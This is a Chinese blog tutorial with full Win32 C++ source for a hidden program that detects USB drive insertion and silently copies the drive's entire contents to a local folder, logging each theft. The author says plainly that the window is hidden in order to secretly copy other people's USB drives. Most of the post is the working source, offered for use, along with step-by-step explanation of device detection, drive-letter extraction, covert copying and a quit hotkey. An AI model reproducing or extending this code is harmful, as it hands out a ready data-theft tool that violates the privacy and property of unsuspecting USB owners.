U盘文件盗取

本文介绍了一种使用Win32程序监听U盘插入并自动复制其内容的方法。通过创建消息窗口捕获WM_DEVICECHANGE消息,判断是否为U盘插入,然后调用复制函数COPYUP进行文件复制。程序还包含了隐藏窗口、记录日志以及添加退出快捷键等功能。

U盘文件盗取(Win32程序)

要根据下面的流程图来做,先做一个捕捉消息的窗口,如果插入U盘的话,窗口会捕捉到WM_DEVICECHANGE消息,窗口一直处于激活状态,所每次捕捉到消息就会调用获取盘符的函数,并且创建一个线程调用复制函数。最后写出工作日志。
在这里插入图片描述
首先是创建窗口函数,
这里需要注意的是因为我项目用的字符集是Unicode
所以字符串前都加了L
如果需要修改的话就点击项目->属性->高级->字符集修改成使用多字节字符集

// 程序入口点
int CALLBACK WinMain(
    _In_  HINSTANCE hInstance,
    _In_  HINSTANCE hPrevInstance,
    _In_  LPSTR lpCmdLine,
    _In_  int nCmdShow
)
{
    //注册热键
    // 类名
    // 设计窗口类
    WNDCLASS wc = { };
    wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
    wc.lpfnWndProc = WindowProc;
    wc.lpszClassName = L"cls_Name";
    wc.hInstance = hInstance;
    // 注册窗口类
    RegisterClass(&wc);
    // 创建窗口
    HWND hwnd = CreateWindow(
        L"cls_Name",           //类名,要和刚才注册的一致
        L"我的应用程序",    //窗口标题文字
        WS_OVERLAPPEDWINDOW, //窗口外观样式
        38,                 //窗口相对于父级的X坐标
        20,                 //窗口相对于父级的Y坐标
        480,                //窗口的宽度
        250,                //窗口的高度
        NULL,               //没有父窗口,为NULL
        NULL,               //没有菜单,为NULL
        hInstance,          //当前应用程序的实例句柄
        NULL);              //没有附加数据,为NULL
    if (hwnd == NULL) //检查窗口是否创建成功
        return 0;
    // 显示窗口
    ShowWindow(hwnd, SW_HIDE);
    // 更新窗口
    UpdateWindow(hwnd);
    // 消息循环
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

然后捕捉到消息会调用窗口实例化 wc.lpfnWndProc = WindowProc; 中的WindowProc函数。这个函数中如果收到消息WM_DEVICECHANGE就会调用 DeviceChange(uMsg, wParam, lParam) 函数。

// 在WinMain后实现
LRESULT CALLBACK WindowProc(
    _In_  HWND hwnd,
    _In_  UINT uMsg,
    _In_  WPARAM wParam,
    _In_  LPARAM lParam
)
{
    switch (uMsg)
    {
    case WM_DEVICECHANGE: {
        DeviceChange(uMsg, wParam, lParam);
        return 0;
    }
    case WM_DESTROY:
    {
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

DeviceChange(uMsg, wParam, lParam) 函数是用来判断是否是U盘插入的函数。这个函数用消息中的wParam判断是否是U盘,再用lParam来获得盘符。其中 FirstDriveFromMask(pDevVolume->dbcv_unitmask) 就是获取盘符函数。

//获取盘符
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam) {
    if (DBT_DEVICEARRIVAL == wParam )
    {
        PDEV_BROADCAST_HDR pHdr = (PDEV_BROADCAST_HDR)lParam;
        if (pHdr->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME pDevVolume = (PDEV_BROADCAST_VOLUME)lParam;
            FirstDriveFromMask(pDevVolume->dbcv_unitmask);
        }
    }
    return 0;
}

FirstDriveFromMask(pDevVolume->dbcv_unitmask) 函数,通过对32位的unitmask进行右移来判断是哪个盘,从盘符从A-Z。获得盘符以后进行复制,调用 COPYUP(char FormDir) 函数。

//计算盘符
void FirstDriveFromMask(ULONG unitmask)
{
    char i;
    for (i = 0; i < 26; ++i)
    {
        if (unitmask & 0x1 ) {
            COPYUP(i + 'A');
            break;
        }
        unitmask >>= 1;
    }
    return;
} 

COPYUP(char FormDir) 函数,通过对盘符进行拼接,用SHFILEOPSTRUCT类进行文件复制,参数pFrom是源地址,参数pTo是目的地址。其中timeGetTime是为了获得复制文件消耗的时间,char2wchars是为了把char类型转换为 wchar* 类型。GetFolderSize函数是得到U盘内容大小,WriteLog是写日志的函数。

//对u盘进行拷贝
BOOL COPYUP(char FormDir) {
    CStringW str;
    DWORD start, end;
    start = timeGetTime();
    SHFILEOPSTRUCT fop;
    fop.wFunc = FO_COPY;
    CStringW path(FormDir);
    path = path + ":\0";
    fop.pFrom = path;
    fop.pTo = L"F:\\copyup\0";
    SHFileOperation(&fop);
    end = timeGetTime() - start;
    wstring path1=char2wchars(FormDir);
    path1 = path1 + L":";
    _int64 size = GetFolderSize(path1);
    str.Format(_T("复制%c盘成功:time:%d ms    size:%I64d byte"),FormDir, end, size);
    WriteLog(str);
    return 0;
}

char2wchars函数

//把char[]转换成wchar
const wchar_t* chars2wchars(const char* c)
{
    size_t convertedCharLength = 0;
    const int length = strlen(c) + 1;
    wchar_t* wc = new wchar_t[length];
    mbstowcs_s(&convertedCharLength, wc, length, c, _TRUNCATE);

    return wc;
}

//把char转换成wchar
const wchar_t* char2wchars(char c)
{
    char p[] = { c,0 };
    // printf("%d",strlen(p));
    const wchar_t* ans = chars2wchars(p);
    return ans;
}

WriteLog函数

//写日志
void WriteLog(const wchar_t* text)
{
    //首先判断文件是否存在,如果不存在则创建,并在开头加入0xfeff;如果存在则直接写入
    const wchar_t* filePath = L"F:\\copyup\\log.txt";
    if (_waccess(filePath, 0) == -1)
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"wb");
        if (fp != NULL)
        {
            uint16_t wSignature = 0xFEFF;
            fwrite(&wSignature, 2, 1, fp);
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
    else
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"ab");
        if (fp != NULL)
        {
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
}

GetFolderSize函数

//计算u盘文件大小
__int64 GetFolderSize(const wstring& strDir)
{
    __int64 nSize = 0;
    wstring strRootPath = strDir + L"\\";
    wstring strRoot = strRootPath + L"*.*";
    WIN32_FIND_DATA fd;
    HANDLE hFind = FindFirstFile(strRoot.c_str(), &fd);
    if (INVALID_HANDLE_VALUE == hFind)
        return nSize;
    while (FindNextFile(hFind, &fd))
    {
        if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
            continue;
        wstring strPath = strRootPath + fd.cFileName;
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            nSize += GetFolderSize(strPath);
        else
        {
            HANDLE hFile = CreateFile(strPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (INVALID_HANDLE_VALUE == hFile)
                continue;
            LARGE_INTEGER size;
            if (::GetFileSizeEx(hFile, &size))
            {
                nSize += size.QuadPart;
            }
            CloseHandle(hFile);
        }
    }
    FindClose(hFind);
    return nSize;
}

因为这个是为了偷偷复制别人U盘内容,所以把接受消息的窗口进行了隐藏处理,所以想要结束程序,就要到任务管理器里结束,个人觉得太麻烦了就写了一个结束的快捷键。以下是完整代码:

#define HAVE_STRUCT_TIMESPEC
#include <Windows.h>
#include <string>
#include<iostream>
#include<Dbt.h>
#include<atlstr.h>
#include<thread>
#define myhotkey1 1018

using namespace std;
BOOL COPYUP(char FormDir);
void FirstDriveFromMask(ULONG unitmask);
__int64 GetFolderSize(const wstring& strDir);
void WriteLog(const wchar_t* text);
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam);
// 必须要进行前导声明
LRESULT CALLBACK WindowProc(
    _In_  HWND hwnd,
    _In_  UINT uMsg,
    _In_  WPARAM wParam,
    _In_  LPARAM lParam
);
// 程序入口点
int CALLBACK WinMain(
    _In_  HINSTANCE hInstance,
    _In_  HINSTANCE hPrevInstance,
    _In_  LPSTR lpCmdLine,
    _In_  int nCmdShow
)
{
    //注册热键

    // 类名
    // 设计窗口类
    WNDCLASS wc = { };
    wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
    wc.lpfnWndProc = WindowProc;
    wc.lpszClassName = L"cls_Name";
    wc.hInstance = hInstance;
    // 注册窗口类
    RegisterClass(&wc);
    // 创建窗口
    HWND hwnd = CreateWindow(
        L"cls_Name",           //类名,要和刚才注册的一致
        L"我的应用程序",    //窗口标题文字
        WS_OVERLAPPEDWINDOW, //窗口外观样式
        38,                 //窗口相对于父级的X坐标
        20,                 //窗口相对于父级的Y坐标
        480,                //窗口的宽度
        250,                //窗口的高度
        NULL,               //没有父窗口,为NULL
        NULL,               //没有菜单,为NULL
        hInstance,          //当前应用程序的实例句柄
        NULL);              //没有附加数据,为NULL
    if (hwnd == NULL) //检查窗口是否创建成功
        return 0;
    // 显示窗口
    RegisterHotKey(hwnd, myhotkey1, MOD_CONTROL, VK_F1);
    ShowWindow(hwnd, SW_HIDE);
    // 更新窗口
    UpdateWindow(hwnd);
    // 消息循环
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}
// 在WinMain后实现
LRESULT CALLBACK WindowProc(
    _In_  HWND hwnd,
    _In_  UINT uMsg,
    _In_  WPARAM wParam,
    _In_  LPARAM lParam
)
{
    switch (uMsg)
    {
    case WM_DEVICECHANGE: {
        DeviceChange(uMsg, wParam, lParam);
        return 0;
    }
    case WM_DESTROY:
    {
        PostQuitMessage(0);
        return 0;
    }
    case WM_HOTKEY:
        if (wParam == myhotkey1) {
            UnregisterHotKey(hwnd, myhotkey1);
            PostQuitMessage(0);
            return 0;
        }
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

//计算盘符
void FirstDriveFromMask(ULONG unitmask)
{
    char i;
    for (i = 0; i < 26; ++i)
    {
        if (unitmask & 0x1 ) {
            COPYUP(i + 'A');
            break;
        }
        unitmask >>= 1;
    }
    return;
}  

//把char[]转换成wchar
const wchar_t* chars2wchars(const char* c)
{
    size_t convertedCharLength = 0;
    const int length = strlen(c) + 1;
    wchar_t* wc = new wchar_t[length];
    mbstowcs_s(&convertedCharLength, wc, length, c, _TRUNCATE);

    return wc;
}

//把char转换成wchar
const wchar_t* char2wchars(char c)
{
    char p[] = { c,0 };
    // printf("%d",strlen(p));
    const wchar_t* ans = chars2wchars(p);
    return ans;
}

//获取盘符
LRESULT DeviceChange(UINT message, WPARAM wParam, LPARAM lParam) {
    if (DBT_DEVICEARRIVAL == wParam )
    {
        PDEV_BROADCAST_HDR pHdr = (PDEV_BROADCAST_HDR)lParam;
        if (pHdr->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME pDevVolume = (PDEV_BROADCAST_VOLUME)lParam;
            FirstDriveFromMask(pDevVolume->dbcv_unitmask);
        }
    }
    return 0;
}


//对u盘进行拷贝
BOOL COPYUP(char FormDir) {
    CStringW str;
    DWORD start, end;
    start = timeGetTime();
    SHFILEOPSTRUCT fop;
    fop.wFunc = FO_COPY;
    CStringW path(FormDir);
    path = path + ":\0";
    fop.pFrom = path;
    fop.pTo = L"F:\\copyup\0";
    SHFileOperation(&fop);
    end = timeGetTime() - start;
    wstring path1=char2wchars(FormDir);
    path1 = path1 + L":";
    _int64 size = GetFolderSize(path1);
    str.Format(_T("复制%c盘成功:time:%d ms    size:%I64d byte"),FormDir, end, size);
    WriteLog(str);
    return 0;
}

//写日志
void WriteLog(const wchar_t* text)
{
    //首先判断文件是否存在,如果不存在则创建,并在开头加入0xfeff;如果存在则直接写入
    const wchar_t* filePath = L"F:\\copyup\\log.txt";
    if (_waccess(filePath, 0) == -1)
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"wb");
        if (fp != NULL)
        {
            uint16_t wSignature = 0xFEFF;
            fwrite(&wSignature, 2, 1, fp);
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
    else
    {
        FILE* fp;
        _wfopen_s(&fp, filePath, L"ab");
        if (fp != NULL)
        {
            SYSTEMTIME st;
            GetLocalTime(&st);
            wchar_t buf[128] = { 0 };
            swprintf_s(buf, 128, L"%04d/%02d/%02d %02d:%02d:%02d	", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            fwrite(buf, sizeof(wchar_t), wcslen(buf), fp);
            fwrite(text, sizeof(wchar_t), wcslen(text), fp);
            fwrite(L"\r\n", sizeof(wchar_t), 2, fp);
            fclose(fp);
        }
    }
}

//计算u盘文件大小
__int64 GetFolderSize(const wstring& strDir)
{
    __int64 nSize = 0;
    wstring strRootPath = strDir + L"\\";
    wstring strRoot = strRootPath + L"*.*";
    WIN32_FIND_DATA fd;
    HANDLE hFind = FindFirstFile(strRoot.c_str(), &fd);
    if (INVALID_HANDLE_VALUE == hFind)
        return nSize;
    while (FindNextFile(hFind, &fd))
    {
        if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
            continue;
        wstring strPath = strRootPath + fd.cFileName;
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            nSize += GetFolderSize(strPath);
        else
        {
            HANDLE hFile = CreateFile(strPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (INVALID_HANDLE_VALUE == hFile)
                continue;
            LARGE_INTEGER size;
            if (::GetFileSizeEx(hFile, &size))
            {
                nSize += size.QuadPart;
            }
            CloseHandle(hFile);
        }
    }
    FindClose(hFind);
    return nSize;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值